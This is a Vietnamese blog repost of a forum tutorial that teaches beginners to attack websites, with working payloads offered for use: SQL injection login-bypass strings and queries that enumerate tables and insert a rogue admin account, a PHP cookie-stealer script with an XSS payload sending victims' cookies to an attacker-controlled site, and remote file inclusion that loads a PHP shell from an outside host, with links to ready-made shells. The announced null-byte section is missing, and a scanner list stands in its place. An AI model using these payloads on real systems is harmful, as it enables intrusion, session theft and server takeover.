Trao đổi với tôi

http://www.buidao.com

10/21/09

[Hacking] Kỹ thuật attack một website

Link: http://www.angiangonline.net/diendan/index.php?showtopic=1387

Ngày tôi còn là admin của VN Magic cho đến bây giờ có lẽ đã là một khoảng thời gian rất dài , những kiến thức ngày trước của tôi chắc hẳn đã trở nên "lạc hậu" so với thời điểm hiện tại . Nhưng với hi vọng sẽ giúp được cho các bạn mới bước vào tìm hiểu thế giới hacking có được một khái niệm căn bản về các kỹ thuật attack một website . Bài viết này tôi sẽ chia làm các phần như sau :

QUOTE
1> Tìm hiểu đối tượng attack .
2> a. SQL Injection - Login Bypass
b.SQL Injection - Lấy thông tin các table
3> a. XSS - Cookie Stealer ( đánh cắp cookie )
b. JavaScript Injection
4> Remote File Inclusion
5> a. Null Byte - Picture Upload
b.Null Byte - CGI Exploitation
6> Tổng kết.


1> Tìm hiểu đối tượng attack :

Đây là một bước khởi đầu rất quan trọng và ko thể thiếu khi muốn tấn công 1 trang web nào đó . Chúng ta cần sử dụng các tool chuyên dụng để scan các thông tin của trang web ví dụ như tìm các port mở , xem thông tin về host .
Trước tiên , tìm xem các port đang mở của host web , bạn có thể sử dụng các chương trình như Super Scanner của Foundstone ( đây là chương trình dễ sử dụng ) , hoặc chương trình scan NMAP mà đa số đều cho rằng scan tốt hơn .
Với 1 port mở nào đó mà bạn tìm thấy , xem chúng thuộc dạng nào , chúng ta có thể tìm hiểu về cấu hình directory trên host web .
Tìm hiểu thêm các thông tin khác , ví dụ registrar của domain , sử dụng các trang web whois như :
CODE
http://whois.networksolutions.com

CODE
http://www.dnsstuff.com

bạn sẽ có được những thông tin giá trị về trang web đối tượng .

2> a. SQL Injection - Login Bypass :
Cơ bản và đơn giản nhất của SQL Injection là login by pass , với 1 trang web bị lỗi SQL Injection chúng ta có thể sử dụng ký tự sau :

CODE
‘OR 1=1--

điền vào phần username và password của trang login , và chúng ta có thể " qua mặt " được SQL query để có được những " đặc quyền" trên trang web bị lỗi.
Hoặc bạn cũng có thể điền vào link URL của trang web lỗi , ví dụ như gọi trang web lỗi SQL Injection là target.com :

CODE
www.target.com/index.php?id=0

Chúng ta sẽ inject SQL như sau :

CODE
www.target.com/index.php?id=0 ‘OR 1=1--

Và chúng ta cũng sẽ thu được kết quả tương tự bước ở trên. Đây là 1 vài injection có thể sử dụng :

CODE
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
‘hi or 1=1--

Đây là bước đơn giản nhất của kỹ thuật SQL Injection , tuy nhiên đôi lúc sẽ ko có kết rõ ràng trên 1 trang web lỗi nào đó .

CODE
http://www.sqlsecurity.com/ - Thông tin chung về SQL Security/Injection
http://w3schools.com/sql/default.asp - Học và tìm hiểu ngôn ngữ SQL


2> b. SQL Injection - Lấy thông tin các table :
Đây là 1 kỹ thuật cao cấp hơn về khai thác SQL Injection . Gồm 3 bước _ trước tiên chúng ta sẽ tạo ra lỗi trên trang web bị SQL Injection để tìm được những table names ( nhằm mục đích tạo một account đặc quyền ) . Tiếp tục chúng ta lại tạo thêm một error khác để có được table name quan trọng . Và cuối cùng là inject SQL để tạo admin's account .
Để có được kết quả cuối cùng , trước hết trên trang web bị lỗi chúng ta sẽ login với username như sau :

CODE
‘Having1=1--

Ko điền password và nhấn enter , chúng ta sẽ nhận được một thông báo lỗi ( error ) với 1 table name , tương tự như sau :
SQL
Column user_member.user_id is invalid and was not found ....
( lưu ý phần chữ tím là ví dụ về table name ) , thông báo error có thể dài hơn nhưng cái quan trọng chúng ta cần là table name , như ví dụ trên đây là ‘user_member.id’ chứa thông tin về username , chúng ta sẽ thực hiện bước tiếp theo nhằm tìm thêm các table name quan trọng khác :

SQL
‘UNION SELECT * FROM user_member WHERE USER_ID=‘admin’ GROUP BY
USER_ID HAVING 1=1;--

Error nhận được có thể như sau :
QUOTE
Column user_member.user_id is invalid and was not found … Column
user_member.passwd is invalid and was not found
và table mới ở đây nhận được là user_member.passwd là table chứa password , vậy là chúng ta có thể thông qua các table tìm được chúng ta sẽ tạo một account với các đặc quyền admin :

SQL
INSERT INTO user_member (USER_NAME, LOGIN_ID, PASSWORD,
CREATION_DATE) VALUES(‘VietLuv’,’hacked’,’hacked’,GETDATE();--

Và bây giờ chúng ta có thể login với quyền admin bằng username VietLuv và password hacked .
Trên đây chỉ là căn bản nhất về khai thác SQL Injection , các hacker thông qua SQL Injection để tìm các table chứa các thông tin quan trọng như credit card ...v...v... Cần tìm hiểu thêm và kiên nhẫn hơn để đạt được kết quả mong muốn . Các thắc mắc bạn có thể post bài hỏi tại đây .

3> a. XSS - Cookie Stealer ( đánh cắp cookie ) :
Ở phần này chúng ta sẽ nói về XSS ( hay CSS ) >> Cross Site Scripting , cách đặt code để lấy cookie trên các guestbooks hoặc các forum bảo mật kém lưu lại sau khi các user đăng nhập . Cookies được hầu hết các forum sử dụng nhằm xác nhận lại thông tin của user , và cookie cũng chỉ có 1 cho mỗi user , khi lấy được cookie của user nào chúng ta đã bắt đầu có thể trở thành user đó .
Trước tiên chúng ta hãy sử dụng PHP để tạo nên script lấy cắp cookie

CODE
/*VN�Magic�Cookie�Stealer�*/
/*Put�this�up�in�your�hosting�*/
$cookie�=�$_GET['cookie'];
$log�=�fopen("cookiesVNM.txt\",\"a\");
fwrite($log,�$cookie�.\"n\");
fclose($log);
?>


Copy và save đoạn code trên thành stealer.php
Dưới đây là nội dung của đoạn code :

HTML
$cookie = $_GET['cookie'];

và đừng quên một dòng rất quan trọng :

HTML
$log = fopen("cookiesVNM.txt","a");

bạn hãy tạo 1 trang txt trống tên cookiesVNM.txt .
Upload 2 file nói trên lên host của bạn và đừng quên chmod file cookiesVNM.txt là 666 >> Như vậy căn bản là bạn đã có được script lấy cắp cookie .
Và trên 1 site bị lỗi XSS Injection , bạn có thể test bằng cách post đoạn code sau trong các phần cho phép của site :

HTML
<script>alert(’Testing For XSS Hole’)</script>

nếu nhận được một Alert box ghi Testing For XSS Hole thì site này chắc chắn dính lỗi . Và chúng ta có thể đánh cắp cookie bằng cách dùng đoạn code sau :

HTML
<script>
window.location = 'http://yoursite.com/stealer.php?cookie=' + document.cookie;
</script>

đoạn code này sẽ redirects member đến trang stealer.php bạn đã tạo và lưu lại cookie trong file cookiesVNM.txt .
Bạn có thể tìm hiểu rõ hơn về XSS trong bài viết Hacking Guestbooks của GirL_Noob .

4> Remote File Inclusion :
Remote File Inclusion ( gọi tắt là RFI ) là một lỗi được tìm thấy trên khá nhiều trang web hiện nay . Cách khai thác lại vô cùng đơn giản nên nói chung là nó khá phổ biến trong thời điểm hiện tại .
Cách khai thác lỗi Remote File Inclusion có thể được hiểu là khi trên một web page ta đặt một file của chúng ta ( ví dụ như file uploader hay php shell ) ,webserver của webpage đó sẽ hiểu và hiển thị theo php script của chúng ta _ khi đó chúng ta sễ dễ dàng có đầy đủ quyền kiểm soát server .
Nói rõ hơn khi một website hiển thị một trang khác của chính nó , chúng ta sửa lại URL link và đặt trang code php shell của chúng ta vào thì nó sẽ "hiểu lầm " là trang cần hiện thị và như vậy là chúng ta sẽ có trang php shell ngay trên server của website đó .
Mỗi người có thể tìm thấy trang bị lỗi bằng cách riêng của họ , trong phạm vi bài viết này tôi sẽ nói đến cách dùng Google để tìm kiếm site bị lỗi . Ta có thể tìm kiếm như :

CODE
inurl:"index.php?page="

như vậy Google sẽ cho ra kết quả những trang có "index.php?page= trên link url , và cách đơn giản để test site bị lỗi là chúng ta sẽ thêm vào www.google.com đằng sau dấu = của link site :

CODE
www.site.com/index.php?page=www.google.com

Nếu như thấy toàn bộ trang google hiện thị trên site đó thì chắc chắn là site này bị lỗi . Để khai thác lỗi này chúng ta sẽ dùng 1 file text chứa PHP Shell code up trên host của chúng ta và cho site bị lỗi hiện thị bằng cách thay đổi dòng link URL thêm vào link đến nơi chứa file shell của chúng ta.
Gọi site lỗi là victim , php shell của bạn là shell.txt , site chứa link bạn là yoursite , chúng ta có như sau :

CODE
http://victim/index.php?page=http://yoursite/shell.txt

Quá đơn giản phải ko các bạn , php shell VietLuv giới thiệu con remview :

CODE
http://php.spb.ru/remview/remview_2003_10_23.zip

Không nữa thì dùng luôn con c99 up sẵn của VN Magic tại :

CODE
http://matrix2k.org/testsh.txt

nghĩa là sử dụng php shell của VN Magic luôn khỏi mắc công kiếm , cứ thêm đường link trên vào sau dấu = của trang bị lỗi là bạn đã có thể kiếm soát web server đó .
PS : Muốn thực hành ngay cho rõ thì vào bài Thực hành attack 1 website gì đó của Quỳnh Anh , chúc vui .

5> a. Null Byte - Picture Upload :

Các tool scan port chuyên dụng :
Super Scaner 4.0

CODE
http://www.foundstone.com/index.htm?subnav=resources/navigation.htm&subcontent=/resources/proddesc/superscan4.htm

chương trình này rất tốt khi sử dụng Windows
Nmap-4.21ALPHA4

CODE
http://insecure.org/

NMap luôn được coi là tool scan tốt nhất.
Ngoài ra còn có các tool scan khác như Nessus (vulnscanner) :

CODE
http://www.nessus.org